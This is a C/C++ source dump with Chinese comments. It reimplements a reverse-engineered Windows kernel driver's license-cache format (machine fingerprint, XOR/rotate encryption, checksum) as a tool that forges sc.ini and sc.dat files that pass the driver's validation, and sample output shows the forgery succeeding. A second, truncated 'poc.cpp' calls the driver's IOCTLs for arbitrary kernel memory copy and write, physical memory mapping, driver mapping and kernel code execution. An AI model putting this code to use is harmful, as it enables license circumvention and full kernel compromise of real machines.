// --- ComputeChecksum32 @ 0x140001E70 ---
// int v1 = 0;
// for (i = 0; i < 0xB0; ++i)
// v1 = *(BYTE*)(a1 + i) ^ (0x21 * v1);
// return v1 ^ 0xDEADBEEF;
//
// --- XorEncryptCache @ 0x140001F28 ---
// for (i = 0; i < 0x16; ++i) // 22 次
// buf[i] = ROL64(buf[i] ^ 0xB6C8DAE2F4061829, 7*i + 3);
//
// --- XorDecryptCache @ 0x140001E94 ---
// for (i = 0; i < 0x16; ++i)
// buf[i] = ROR64(buf[i], 7*i + 3) ^ 0xB6C8DAE2F4061829;
//
// --- GetMachineFingerprint @ 0x140001F58 ---
// v1 = (uint64)KeNumberProcessors_count << 0x30;
// RtlGetVersion(&vi);
// v1 ^= (vi.dwMinorVersion ^ ((vi.dwMajorVersion ^ ((uint64)vi.dwBuildNumber << 8)) << 8)) << 0x10;
// // MachineGuid (REG_SZ): djb2(wchar, mul=0x21), XOR v1
// // ProductId (REG_SZ): djb2(wchar, mul=0x81), XOR (v1, <<8)
// // ComputerName (REG_SZ): djb2(wchar, mul=0x801), XOR (v1, <<0x10)
// // InstallDate (REG_DWORD): <<0x18, XOR v1
// // DigitalProductId (REG_BINARY): djb2(byte, mul=0x21, XOR-feedback), XOR v1
// // MurmurHash3 64-bit finalizer:
// // v ^= v >> 33; v *= 0xFF51AFD7ED558CCD;
// // v ^= v >> 33; v *= 0xC4CEB9FE1A85EC53;
// // v ^= v >> 33;
// return v;
//
// --- ValidateLocalAuthCache @ 0x1400028C0 ---
// 读 0xB4 字节 -> XorDecryptCache -> 验 magic -> 验 checksum -> 验 fingerprint
// -> 验 licenseHash(djb2) -> 验 expiry (return 1=有效, 2=过期, 0=无效)
// =============================================================================
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ntdll.lib")
// =========================================================================
// 常量 (由反编译硬编码值提取)
// =========================================================================
static const uint32_t CACHE_MAGIC = 0x48415043; // 'HAPC' (MSVC multi-char literal, big-endian)
static const uint32_t CHECKSUM_XOR = 0xDEADBEEF;
static const uint64_t XOR_CONST = 0xB6C8DAE2F4061829ULL;
static const uint64_t THREE_DAYS_100NS = 0x25B7F3D4000ULL; // 3 * 0xC92A69C000
static const uint64_t MURMUR_C1 = 0xFF51AFD7ED558CCDULL;
static const uint64_t MURMUR_C2 = 0xC4CEB9FE1A85EC53ULL;
#define CACHE_SIZE 0xB4 // 180 字节, 写入文件的总大小
#define CHECKSUM_COVER 0xB0 // 176 字节, checksum 计算和 XOR 加密覆盖范围
#define XOR_QWORD_COUNT 0x16 // 22 个 QWORD = 176 字节
// =========================================================================
// 缓存明文结构 (0xB4 字节)
// =========================================================================
#pragma pack(push, 1)
struct LocalAuthCache {
uint32_t magic; // [0x00] 'HAPC'
uint8_t reserved1[0x84]; // [0x04] 填零 (132 字节)
uint64_t machineFingerprint; // [0x88] GetMachineFingerprint()
uint64_t issueTime; // [0x90] KUSER_SHARED_DATA.SystemTime
uint64_t expiryTime; // [0x98] issueTime + 3 天
uint32_t licenseHash; // [0xA0] djb2(license, mul=0x21)
uint8_t reserved2[0x0C]; // [0xA4] 填零 (12 字节)
uint32_t checksum; // [0xB0] ComputeChecksum32 ^ 0xDEADBEEF
}; // 合计 0xB4 = 180 字节
#pragma pack(pop)
static_assert(sizeof(LocalAuthCache) == 0xB4, "LocalAuthCache size mismatch");
// =========================================================================
// 位旋转辅助
// =========================================================================
static inline uint64_t rol64(uint64_t v, int r) {
r &= 63;
if (r == 0) return v;
return (v << r) | (v >> (64 - r));
}
static inline uint64_t ror64(uint64_t v, int r) {
r &= 63;
if (r == 0) return v;
return (v >> r) | (v << (64 - r));
}
// =========================================================================
// ComputeChecksum32 — 对应驱动 0x140001E70
//
// 反编译佐证:
// int v1 = 0;
// for (i = 0; i < 0xB0; ++i)
// v1 = *(BYTE*)(a1 + i) ^ (0x21 * v1);
// return v1 ^ 0xDEADBEEF;
// =========================================================================
static uint32_t ComputeChecksum32(const void *buf) {
const uint8_t *p = (const uint8_t *)buf;
uint32_t v = 0;
for (size_t i = 0; i < CHECKSUM_COVER; ++i)
v = p[i] ^ (0x21 * v);
return v ^ CHECKSUM_XOR;
}
// =========================================================================
// LicenseHash (djb2 变种) — 对应 SaveLocalAuthCache 内联代码 @ 0x140002760
//
// 反编译佐证:
// v2 = 0x1505;
// while (*a1)
// v2 = (unsigned __int8)*a1++ + 0x21 * v2;
// v15 = v2; // 存入 [0xA0]
// =========================================================================
static uint32_t LicenseHash(const char *license) {
uint32_t h = 0x1505;
while (*license)
h = (uint8_t)*license++ + 0x21 * h;
return h;
}
// =========================================================================
// XorEncryptCache — 对应驱动 0x140001F28
//
// 反编译佐证:
// for (i = 0; i < 0x16; ++i)
// buf[i] = ROL64(buf[i] ^ 0xB6C8DAE2F4061829, 7*i + 3);
//
// 注意: 仅加密前 0xB0 字节 (22 QWORD), checksum 字段 [0xB0..0xB3] 为明文。
// =========================================================================
static void XorEncryptCache(void *buf) {
uint64_t *q = (uint64_t *)buf;
for (int i = 0; i < XOR_QWORD_COUNT; ++i)
q[i] = rol64(q[i] ^ XOR_CONST, 7 * i + 3);
}
// =========================================================================
// XorDecryptCache — 对应驱动 0x140001E94
//
// 反编译佐证:
// for (i = 0; i < 0x16; ++i)
// buf[i] = ROR64(buf[i], 7*i + 3) ^ 0xB6C8DAE2F4061829;
// =========================================================================
static void XorDecryptCache(void *buf) {
uint64_t *q = (uint64_t *)buf;
for (int i = 0; i < XOR_QWORD_COUNT; ++i)
q[i] = ror64(q[i], 7 * i + 3) ^ XOR_CONST;
}
// =========================================================================
// GetMachineFingerprint — 对应驱动 0x140001F58
//
// 反编译佐证 (节选):
// v0 = *(char **)&KeNumberProcessors; // PUCHAR -> CPU count byte
// v1 = (uint64)*v0 << 0x30; // CPU 数 << 48
// RtlGetVersion(&vi); // dwMajor/minor/build
// v1 ^= (vi.dwMinor ^ ((vi.dwMajor ^ ((uint64)vi.dwBuild << 8)) << 8)) << 0x10;
//
// MachineGuid (REG_SZ): for(i=0; *pw; ) i = *pw++ + 0x21*i; v1 ^= i;
// ProductId (REG_SZ): for(j=0; *pw; ) j = *pw++ + 0x81*j; v1 ^= j << 8;
// ComputerName (REG_SZ): for(k=0; *pw; ) k = *pw++ + 0x801*k; v1 ^= k << 0x10;
// InstallDate (REG_DWORD):v1 ^= (uint64)dwValue << 0x18;
// DigitalProductId (REG_BINARY):
// for(n=len, p=data; n--; ) v2 = *p++ ^ (0x21*v2); v1 ^= v2;
//
// // MurmurHash3 64-bit finalizer
// v ^= v >> 33; v *= 0xFF51AFD7ED558CCD;
// v ^= v >> 33; v *= 0xC4CEB9FE1A85EC53;
// v ^= v >> 33;
// return v;
//
// 注意:
// - 字符串 djb2 按 WCHAR(UTF-16LE) 遍历, 每个 WCHAR 当作 16 位无符号整数参与运算。
// - DigitalProductId 按字节遍历, 使用 XOR 反馈 (非加法)。
// - 注册表路径从内核形式 \Registry\Machine\ 映射为 HKLM\。
// =========================================================================
// MurmurHash3 64-bit finalizer (对应驱动 0x1400024A6 处的内联代码)
static uint64_t MurmurHash3Finalizer64(uint64_t v) {
v ^= v >> 33;
v *= MURMUR_C1;
v ^= v >> 33;
v *= MURMUR_C2;
v ^= v >> 33;
return v;
}
// 注册表 WCHAR 字符串 djb2 (对应驱动中 v25/v7/v10 循环)
static uint64_t Djb2Wstr(const wchar_t *ws, uint64_t mul) {
uint64_t h = 0;
while (*ws)
h = (uint16_t)*ws++ + mul * h;
return h;
}
// 读取 REG_SZ 值并计算 djb2 (mul = 乘子)
static bool RegReadSzAndHash(HKEY root, const wchar_t *subkey,
const wchar_t *value, uint64_t mul,
uint64_t *outHash) {
HKEY hKey;
if (RegOpenKeyExW(root, subkey, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
uint8_t buf[512] = {0};
DWORD bufSize = sizeof(buf);
DWORD type = 0;
LONG rc = RegQueryValueExW(hKey, value, NULL, &type, buf, &bufSize);
RegCloseKey(hKey);
if (rc != ERROR_SUCCESS || type != REG_SZ || bufSize < sizeof(wchar_t))
return false;
*outHash = Djb2Wstr((const wchar_t *)buf, mul);
return true;
}
// 读取 REG_DWORD 值
static bool RegReadDword(HKEY root, const wchar_t *subkey,
const wchar_t *value, uint32_t *outVal) {
HKEY hKey;
if (RegOpenKeyExW(root, subkey, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
uint32_t val = 0;
DWORD bufSize = sizeof(val);
DWORD type = 0;
LONG rc = RegQueryValueExW(hKey, value, NULL, &type, (LPBYTE)&val, &bufSize);
RegCloseKey(hKey);
if (rc != ERROR_SUCCESS || type != REG_DWORD || bufSize != sizeof(uint32_t))
return false;
*outVal = val;
return true;
}
// 读取 REG_BINARY 并计算字节级 djb2 (XOR 反馈, mul=0x21)
static bool RegReadBinaryAndHash(HKEY root, const wchar_t *subkey,
const wchar_t *value, uint64_t *outHash) {
HKEY hKey;
if (RegOpenKeyExW(root, subkey, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
// DigitalProductId 通常 164 字节, 分配 512 字节足够
uint8_t buf[512] = {0};
DWORD bufSize = sizeof(buf);
DWORD type = 0;
LONG rc = RegQueryValueExW(hKey, value, NULL, &type, buf, &bufSize);
RegCloseKey(hKey);
if (rc != ERROR_SUCCESS || type != REG_BINARY || bufSize == 0)
return false;
// 反编译佐证:
// v12 = data; v13 = len; v2 = 0;
// do { v14 = *(BYTE*)v12++; v2 = v14 ^ (0x21*v2); } while(--v13);
uint64_t h = 0;
for (DWORD i = 0; i < bufSize; ++i)
h = buf[i] ^ (0x21 * h);
*outHash = h;
return true;
}
// RtlGetVersion (不受 manifest 影响, 与内核行为一致)
static bool RtlGetVersionCompat(OSVERSIONINFOW *ovi) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
auto pRtlGetVersion = (LONG(WINAPI *)(POSVERSIONINFOW))
GetProcAddress(ntdll, "RtlGetVersion");
if (!pRtlGetVersion) return false;
ovi->dwOSVersionInfoSize = sizeof(OSVERSIONINFOW);
return pRtlGetVersion(ovi) == 0;
}
uint64_t GetMachineFingerprint() {
uint64_t v1 = 0;
// 1) CPU 数 << 48
// 反编译: v1 = (uint64)*KeNumberProcessors << 0x30;
SYSTEM_INFO si;
GetSystemInfo(&si);
v1 = (uint64_t)si.dwNumberOfProcessors << 0x30;
// 2) OS 版本混合 << 16
// 反编译: v1 ^= (dwMinor ^ ((dwMajor ^ ((uint64)dwBuild << 8)) << 8)) << 0x10;
OSVERSIONINFOW ovi;
if (RtlGetVersionCompat(&ovi)) {
uint64_t verBits = ((uint64_t)ovi.dwBuildNumber << 8);
verBits = ((uint64_t)ovi.dwMajorVersion ^ verBits) << 8;
verBits = (uint64_t)ovi.dwMinorVersion ^ verBits;
v1 ^= verBits << 0x10;
}
// 3) MachineGuid (REG_SZ, djb2 mul=0x21, XOR)
// HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
uint64_t h;
if (RegReadSzAndHash(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Cryptography", L"MachineGuid", 0x21, &h))
v1 ^= h;
// 4) ProductId (REG_SZ, djb2 mul=0x81, <<8, XOR)
// HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
if (RegReadSzAndHash(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ProductId", 0x81, &h))
v1 ^= h << 8;
// 5) ComputerName (REG_SZ, djb2 mul=0x801, <<0x10, XOR)
// HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
if (RegReadSzAndHash(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName",
L"ComputerName", 0x801, &h))
v1 ^= h << 0x10;
// 6) InstallDate (REG_DWORD, <<0x18, XOR)
// HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate
uint32_t installDate;
if (RegReadDword(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
L"InstallDate", &installDate))
v1 ^= (uint64_t)installDate << 0x18;
// 7) DigitalProductId (REG_BINARY, 字节级 djb2 XOR-feedback, mul=0x21, XOR)
// HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId
if (RegReadBinaryAndHash(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
L"DigitalProductId", &h))
v1 ^= h;
// MurmurHash3 64-bit finalizer
return MurmurHash3Finalizer64(v1);
}
// =========================================================================
// 获取当前系统时间 (100ns 单位, 自 1601-01-01)
// 对应内核: *(_QWORD *)&KUSER_SHARED_DATA.SystemTime
// 用户态等价: GetSystemTimeAsFileTime (读同一共享页)
// =========================================================================
static uint64_t GetSystemTime100ns() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
return ((uint64_t)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
}
// =========================================================================
// 构造 LocalAuthCache 明文缓冲 (0xB4 字节)
// =========================================================================
static void BuildCacheBuffer(LocalAuthCache *cache, const char *licenseKey) {
// 全部清零 (对应 kmemset(v11, 0, 0xB0) + Buffer='HAPC')
memset(cache, 0, sizeof(*cache));
// [0x00] magic
cache->magic = CACHE_MAGIC;
// [0x88] machineFingerprint
cache->machineFingerprint = GetMachineFingerprint();
// [0x90] issueTime = 当前系统时间
uint64_t now = GetSystemTime100ns();
cache->issueTime = now;
// [0x98] expiryTime = issueTime + 3 天
cache->expiryTime = now + THREE_DAYS_100NS;
// [0xA0] licenseHash = djb2(licenseKey, mul=0x21, init=0x1505)
cache->licenseHash = LicenseHash(licenseKey);
// [0xB0] checksum = ComputeChecksum32(buf[0..0xB0]) ^ 0xDEADBEEF
// 注意: checksum 在加密之前计算, 覆盖前 0xB0 字节 (不含 checksum 自身)
cache->checksum = ComputeChecksum32(cache);
}
// =========================================================================
// 写入 sc.dat 文件
// 对应驱动: ZwCreateFile + ZwWriteFile(&Buffer, 0xB4)
//
// 文件布局:
// [0x00..0xAF] XOR 加密 (22 QWORD, ROL 7*i+3, XOR 0xB6C8DAE2F4061829)
// [0xB0..0xB3] checksum 明文
// =========================================================================
static bool WriteCacheFile(const wchar_t *path, const LocalAuthCache *plaintext) {
// 复制一份用于加密 (不修改调用者的明文)
LocalAuthCache encrypted = *plaintext;
// 加密前 0xB0 字节 (22 QWORD), checksum [0xB0..0xB3] 保持明文
XorEncryptCache(&encrypted);
// 验证: 用解密函数应当能还原明文
LocalAuthCache verify = encrypted;
XorDecryptCache(&verify);
if (memcmp(&verify, plaintext, sizeof(*plaintext)) != 0) {
fprintf(stderr, "[!] Internal error: encrypt/decrypt round-trip mismatch\n");
return false;
}
HANDLE hFile = CreateFileW(
path,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS, // 覆盖 (对应 ZwCreateFile CreateDisposition=5 / FILE_SUPERSEDE)
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[!] CreateFileW failed: %lu\n", GetLastError());
return false;
}
DWORD written = 0;
BOOL ok = WriteFile(hFile, &encrypted, sizeof(encrypted), &written, NULL);
if (ok)
FlushFileBuffers(hFile); // 确保落盘, 防止内核读到缓存旧数据
CloseHandle(hFile);
if (!ok || written != sizeof(encrypted)) {
fprintf(stderr, "[!] WriteFile failed: ok=%d written=%lu\n", ok, written);
return false;
}
return true;
}
// =========================================================================
// 写入 sc.ini 文件 (许可文件, 纯文本)
//
// 对应驱动 DriverInit @ 0x140001A4B:
// LicenseFile = ReadLicenseFile(); // 读 C:\Windows\SysWOW64\sc.ini
// v4 = *LicenseFile; // byte0 = 层级 B/C/D
// v5 = *(__int16*)LicenseFile;
// if (v4 == 'B') v5 = 16000; // 端口
// else if (v4 == 'C') v5 = 17000;
// else if (v4 == 'D') v5 = 18000;
// HAP_Login(LicenseFile + 2); // byte2+ = license key
//
// sc.ini 格式: <tier_byte><分隔符(空格)><license_key\0>
// 注意: 驱动 ReadLicenseFile 用 strlen() 读取,所以填充字节必须是非空
// 可打印字符(用空格 ' '),不能用 \x00,否则 strlen 在 byte1 处截断。
// tier: 'B' → port 16000
// 'C' → port 17000
// 'D' → port 18000
// =========================================================================
static bool WriteIniFile(const wchar_t *path, char tier, const char *licenseKey) {
// 格式: <tier><空格><key><\0>
// 所有字节均为可打印/非空字符,确保 strlen 正确读取全长
size_t keyLen = strlen(licenseKey);
size_t total = 1 + 1 + keyLen + 1; // tier + ' ' + key + null
uint8_t *buf = (uint8_t *)calloc(total, 1);
if (!buf) return false;
buf[0] = (uint8_t)tier; // 层级字节
buf[1] = ' '; // 分隔符 (空格,非空,strlen 不会截断)
memcpy(buf + 2, licenseKey, keyLen);// key 字符串 (含末尾\0 via calloc)
HANDLE hFile = CreateFileW(
path,
GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[!] CreateFileW(sc.ini) failed: %lu\n", GetLastError());
free(buf);
return false;
}
DWORD written = 0;
BOOL ok = WriteFile(hFile, buf, (DWORD)total, &written, NULL);
if (ok)
FlushFileBuffers(hFile);
CloseHandle(hFile);
free(buf);
if (!ok || written != total) {
fprintf(stderr, "[!] WriteFile(sc.ini) failed: ok=%d written=%lu\n", ok, written);
return false;
}
return true;
}
// =========================================================================
// 验证缓存文件 (模拟 ValidateLocalAuthCache @ 0x1400028C0)
// 返回: 1=有效, 2=过期, 0=无效
// =========================================================================
static int ValidateCache(const wchar_t *path, const char *licenseKey) {
HANDLE hFile = CreateFileW(
path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cache file not found\n");
return 0;
}
LocalAuthCache cache;
DWORD read = 0;
BOOL ok = ReadFile(hFile, &cache, sizeof(cache), &read, NULL);
CloseHandle(hFile);
if (!ok || read != sizeof(cache)) {
printf("[-] Failed to read cache file (read=%lu)\n", read);
return 0;
}
// 解密前 0xB0 字节
XorDecryptCache(&cache);
// 验 magic
if (cache.magic != CACHE_MAGIC) {
printf("[-] Invalid magic: 0x%08X\n", cache.magic);
return 0;
}
// 验 checksum
uint32_t expectedCksum = ComputeChecksum32(&cache);
if (cache.checksum != expectedCksum) {
printf("[-] Checksum mismatch: stored=0x%08X computed=0x%08X\n",
cache.checksum, expectedCksum);
return 0;
}
// 验 fingerprint
uint64_t fp = GetMachineFingerprint();
if (cache.machineFingerprint != fp) {
printf("[-] Hardware fingerprint mismatch: stored=0x%llX computed=0x%llX\n",
(unsigned long long)cache.machineFingerprint,
(unsigned long long)fp);
return 0;
}
// 验 licenseHash
uint32_t lh = LicenseHash(licenseKey);
if (cache.licenseHash != lh) {
printf("[-] License hash mismatch: stored=0x%08X computed=0x%08X\n",
cache.licenseHash, lh);
return 0;
}
// 验 expiry
uint64_t now = GetSystemTime100ns();
if (now <= cache.expiryTime) {
uint64_t remaining = cache.expiryTime - now;
uint64_t days = remaining / 0xC92A69C000ULL; // 1 天 = 0xC92A69C000 100ns
printf("[+] Valid, %llu days remaining\n", (unsigned long long)days);
return 1;
}
printf("[-] Cache expired\n");
return 2;
}
// =========================================================================
// 主入口
// =========================================================================
int wmain(int argc, wchar_t *argv[]) {
const wchar_t *cachePath = L"sc.dat"; // 默认当前目录, 需手动复制到 SysWOW64
const wchar_t *iniPath = L"sc.ini";
// 许可 key: 即 sc.ini 第 2 字节起的内容
const char *licenseKey = "YOUR_LICENSE_KEY_HERE";
char tier = 'C'; // 默认 'C' (端口 17000)
if (argc >= 2) {
// 命令行参数 1: 许可 key (ASCII)
static char buf[1024];
int len = WideCharToMultiByte(CP_ACP, 0, argv[1], -1, buf, sizeof(buf), NULL, NULL);
if (len > 0) licenseKey = buf;
}
if (argc >= 3) {
// 命令行参数 2: tier 层级 (B/C/D), 首字符
tier = (char)argv[2][0];
if (tier != 'B' && tier != 'C' && tier != 'D') {
fprintf(stderr, "[!] Invalid tier '%c', must be B/C/D\n", tier);
return 1;
}
}
if (argc >= 4) {
cachePath = argv[3];
}
if (argc >= 5) {
iniPath = argv[4];
}
int port = (tier == 'B') ? 16000 : (tier == 'C') ? 17000 : 18000;
printf("=== LocalAuthCache Constructor ===\n");
printf("License key: %s\n", licenseKey);
printf("Tier: %c (port %d)\n", tier, port);
printf("Cache path: %ls\n", cachePath);
printf("Ini path: %ls\n", iniPath);
printf("Cache size: 0x%X (%d) bytes\n", CACHE_SIZE, CACHE_SIZE);
printf("\n");
// --- 1. 写入 sc.ini (许可文件) ---
printf("[*] Writing license file to %ls ...\n", iniPath);
if (!WriteIniFile(iniPath, tier, licenseKey)) {
fprintf(stderr, "[!] Failed to write sc.ini\n");
return 1;
}
printf("[+] sc.ini written: %c %s (len=%zu bytes)\n",
tier, licenseKey, 2 + strlen(licenseKey) + 1);
printf("\n");
// --- 2. 构造缓存 ---
printf("[*] Building cache buffer...\n");
LocalAuthCache cache;
BuildCacheBuffer(&cache, licenseKey);
printf(" magic = 0x%08X ('HAPC')\n", cache.magic);
printf(" machineFingerprint= 0x%016llX\n",
(unsigned long long)cache.machineFingerprint);
printf(" issueTime = 0x%016llX\n",
(unsigned long long)cache.issueTime);
printf(" expiryTime = 0x%016llX (+3 days)\n",
(unsigned long long)cache.expiryTime);
printf(" licenseHash = 0x%08X\n", cache.licenseHash);
printf(" checksum = 0x%08X\n", cache.checksum);
printf("\n");
// --- 3. 写入 sc.dat (加密缓存) ---
printf("[*] Writing encrypted cache to %ls ...\n", cachePath);
if (!WriteCacheFile(cachePath, &cache)) {
fprintf(stderr, "[!] Failed to write cache file\n");
return 1;
}
printf("[+] sc.dat written successfully (%d bytes)\n", (int)sizeof(cache));
printf(" [0x00..0xAF] XOR-encrypted (22 QWORDs)\n");
printf(" [0xB0..0xB3] checksum (plaintext)\n");
// --- 回读验证: 读回文件, 解密, 确认 magic ---
{
uint8_t verify[0xB4];
DWORD read = 0;
HANDLE h = CreateFileW(cachePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h != INVALID_HANDLE_VALUE) {
if (ReadFile(h, verify, sizeof(verify), &read, NULL) && read == sizeof(verify)) {
printf("[*] Read-back check: file is %lu bytes\n", read);
printf(" Raw first 8 bytes: %02X %02X %02X %02X %02X %02X %02X %02X\n",
verify[0],verify[1],verify[2],verify[3],
verify[4],verify[5],verify[6],verify[7]);
XorDecryptCache(verify);
uint32_t decMagic = *(uint32_t*)verify;
printf(" After decrypt, magic = 0x%08X ('%c%c%c%c')%s\n",
decMagic,
(char)(decMagic&0xFF),(char)((decMagic>>8)&0xFF),
(char)((decMagic>>16)&0xFF),(char)((decMagic>>24)&0xFF),
(decMagic == CACHE_MAGIC) ? " [OK]" : " [MISMATCH!]");
}
CloseHandle(h);
}
}
printf("\n");
// --- 4. 验证 ---
printf("[*] Validating cache (simulating ValidateLocalAuthCache)...\n");
int result = ValidateCache(cachePath, licenseKey);
printf("[*] Validation result: %d", result);
switch (result) {
case 1: printf(" (valid)\n"); break;
case 2: printf(" (expired)\n"); break;
default: printf(" (invalid)\n"); break;
}
return 0;
}
需要将生成的sc.ini和sc.dat复制到C:\Windows\SysWOW64目录
C:\Users\test\Desktop\test\loader>LocalAuthCache.exe
=== LocalAuthCache Constructor ===
License key: YOUR_LICENSE_KEY_HERE
Tier: C (port 17000)
Cache path: sc.dat
Ini path: sc.ini
Cache size: 0xB4 (180) bytes
[*] Writing license file to sc.ini ...
[+] sc.ini written: C YOUR_LICENSE_KEY_HERE (len=24 bytes)
[*] Building cache buffer...
magic = 0x48415043 ('HAPC')
machineFingerprint= 0x17F13EE95108C681
issueTime = 0x01DD095A42D6F25E
expiryTime = 0x01DD0BB5C214325E (+3 days)
licenseHash = 0x6291E781
checksum = 0xD9B3C920
[*] Writing encrypted cache to sc.dat ...
[+] sc.dat written successfully (180 bytes)
[0x00..0xAF] XOR-encrypted (22 QWORDs)
[0xB0..0xB3] checksum (plaintext)
[*] Read-back check: file is 180 bytes
Raw first 8 bytes: 55 43 3A E2 15 D7 46 B6
After decrypt, magic = 0x48415043 ('CPAH') [OK]
[*] Validating cache (simulating ValidateLocalAuthCache)...
[+] Valid, 2 days remaining
[*] Validation result: 1 (valid)
poc

// poc.cpp — 用户态 PoC,演示对 \\.\DriverLoader 驱动全部 IOCTL 的调用
// 编译 (MinGW): g++ -std=c++17 -O2 -municode poc.cpp -o poc.exe -lntdll
// 编译 (MSVC): cl /nologo /EHsc /W3 /D_WIN64 /DUNICODE /D_UNICODE poc.cpp /link /entry:wmainCRTStartup
//
// 仅用于安全研究/防御分析。IOCTL 布局依据 IDA 逆向结果(见 README.md §3)。
#include <windows.h>
#include <winternl.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ntdll.lib")
// === IOCTL 定义 (FILE_DEVICE_UNKNOWN=0x22, Function=0x800+n, METHOD_BUFFERED, FILE_ANY_ACCESS) ===
#define IOCTL_COPY_MEMORY 0x222000 // [0]=src,[8]=dst,[0x10]=size -> 0x18
#define IOCTL_FILL_MEMORY 0x222004 // [0]=dst,[8]=val,[0x10]=size -> 0x18
#define IOCTL_GET_PHYSICAL_ADDR 0x222008 // [0]=va -> [8]=pa,0x10
#define IOCTL_MAP_PHYSICAL 0x22200C // [0]=pa,[8]=size -> [0x10]=va,0x18
#define IOCTL_UNMAP_PHYSICAL 0x222010 // [0]=va,[8]=size
#define IOCTL_ALLOC_POOL 0x222014 // [0]=flag(1=NonPaged),[8]=size -> [0x10]=va,0x18
#define IOCTL_FREE_POOL 0x222018 // [0]=va
#define IOCTL_GET_MODULE_BASE 0x22201C // [0]=name(str,<=0x108) -> [0x108]=base,0x110
#define IOCTL_RESOLVE_ROUTINE 0x222020 // [0]=hint,[8]=ansi name(<=0x108) -> [0x110]=addr,0x118
#define IOCTL_MAP_DRIVER 0x222024 // 见 MapDriverInput -> [0]=base,8
#define IOCTL_WRITE_MEMORY_MDL 0x222028 // [0]=va,[8]=size,[0x10]=src
#define IOCTL_EXECUTE_CODE 0x22202C // [0]=fn,[0x10]=argc,[0x18..]=args -> [8]=result,0x38
#define IOCTL_ACQUIRE_RESOURCE 0x222030 // [0]=PERESOURCE,[8]=wait -> [9]=ok,0x10
#define IOCTL_RELEASE_RESOURCE 0x222034 // [0]=PERESOURCE
#define IOCTL_AVL_DELETE 0x222038 // [0]=table,[8]=key -> [0x10]=ok,0x18
#define IOCTL_AVL_LOOKUP 0x22203C // [0]=table,[8]=key -> [0x10]=elem,0x18
#define IOCTL_INVALIDATE_CACHES 0x222040 // [0]=va,[8]=size -> 0x10
#define DEVICE_NAME L"\\\\.\\DriverLoader"
static HANDLE g_hDev = INVALID_HANDLE_VALUE;
static int g_verbose = 1; // 1=显示每次 IOCTL 结果
static void Log(const char* fmt, ...) {
va_list ap; va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
printf("\n");
}
// 十六进制 dump,每行 16 字节
static void HexDump(const void* data, size_t size, const char* title = nullptr) {
if (title) Log(" [dump] %s (%zu bytes):", title, size);
const uint8_t* p = (const uint8_t*)data;
for (size_t i = 0; i < size; i += 16) {
printf(" %08zX ", i);
for (size_t j = 0; j < 16; j++) {
if (i + j < size) printf("%02X ", p[i + j]);
else printf(" ");
}
printf(" ");
for (size_t j = 0; j < 16 && i + j < size; j++)
printf("%c", (p[i + j] >= 0x20 && p[i + j] < 0x7F) ? p[i + j] : '.');
printf("\n");
}
}
static BOOL DevIo(DWORD code, void* in, DWORD inLen, void* out, DWORD outLen, DWORD* ret = nullptr) {
DWORD done = 0;
BOOL ok = DeviceIoControl(g_hDev, code, in, inLen, out, outLen, &done, nullptr);
if (ret) *ret = done;
if (g_verbose) {
if (ok)
Log(" [ok] IOCTL 0x%08X in=%u out=%u -> returned=%u", code, inLen, outLen, done);
else
Log(" [!] IOCTL 0x%08X failed: GetLastError=%u done=%u", code, GetLastError(), done);
}
return ok;
}
// ---- 1. 分配/释放内核池 ----
static void* AllocPool(uint64_t size, BOOL nonPaged) {
struct { uint32_t flag; uint32_t _pad; uint64_t size; uint64_t va; } in = {};
in.flag = nonPaged ? 1 : 0;
in.size = size;
if (!DevIo(IOCTL_ALLOC_POOL, &in, sizeof(in), &in, sizeof(in))) return nullptr;
return (void*)in.va;
}
static void FreePool(void* va) {
uint64_t in = (uint64_t)va;
DevIo(IOCTL_FREE_POOL, &in, sizeof(in), &in, sizeof(in));
}
// ---- 2. 内核内存拷贝/填充 ----
static BOOL KCopyMemory(void* dst, const void* src, uint64_t size) {
struct { uint64_t src, dst, size; } in = { (uint64_t)src, (uint64_t)dst, size };
return DevIo(IOCTL_COPY_MEMORY, &in, sizeof(in), &in, sizeof(in));
}
static BOOL KFillMemory(void* dst, uint8_t val, uint64_t size) {
struct { uint64_t dst; uint8_t val; uint8_t _pad[7]; uint64_t size; } in = {};
in.dst = (uint64_t)dst; in.val = val; in.size = size;
return DevIo(IOCTL_FILL_MEMORY, &in, sizeof(in), &in, sizeof(in));
}
// ---- 3. 物理地址转换与映射 ----
static uint64_t KGetPhysicalAddress(void* va) {
struct { uint64_t va; uint64_t pa; } in = { (uint64_t)va, 0 };
if (DevIo(IOCTL_GET_PHYSICAL_ADDR, &in, 0x10, &in, 0x10)) return in.pa;
return 0;
}
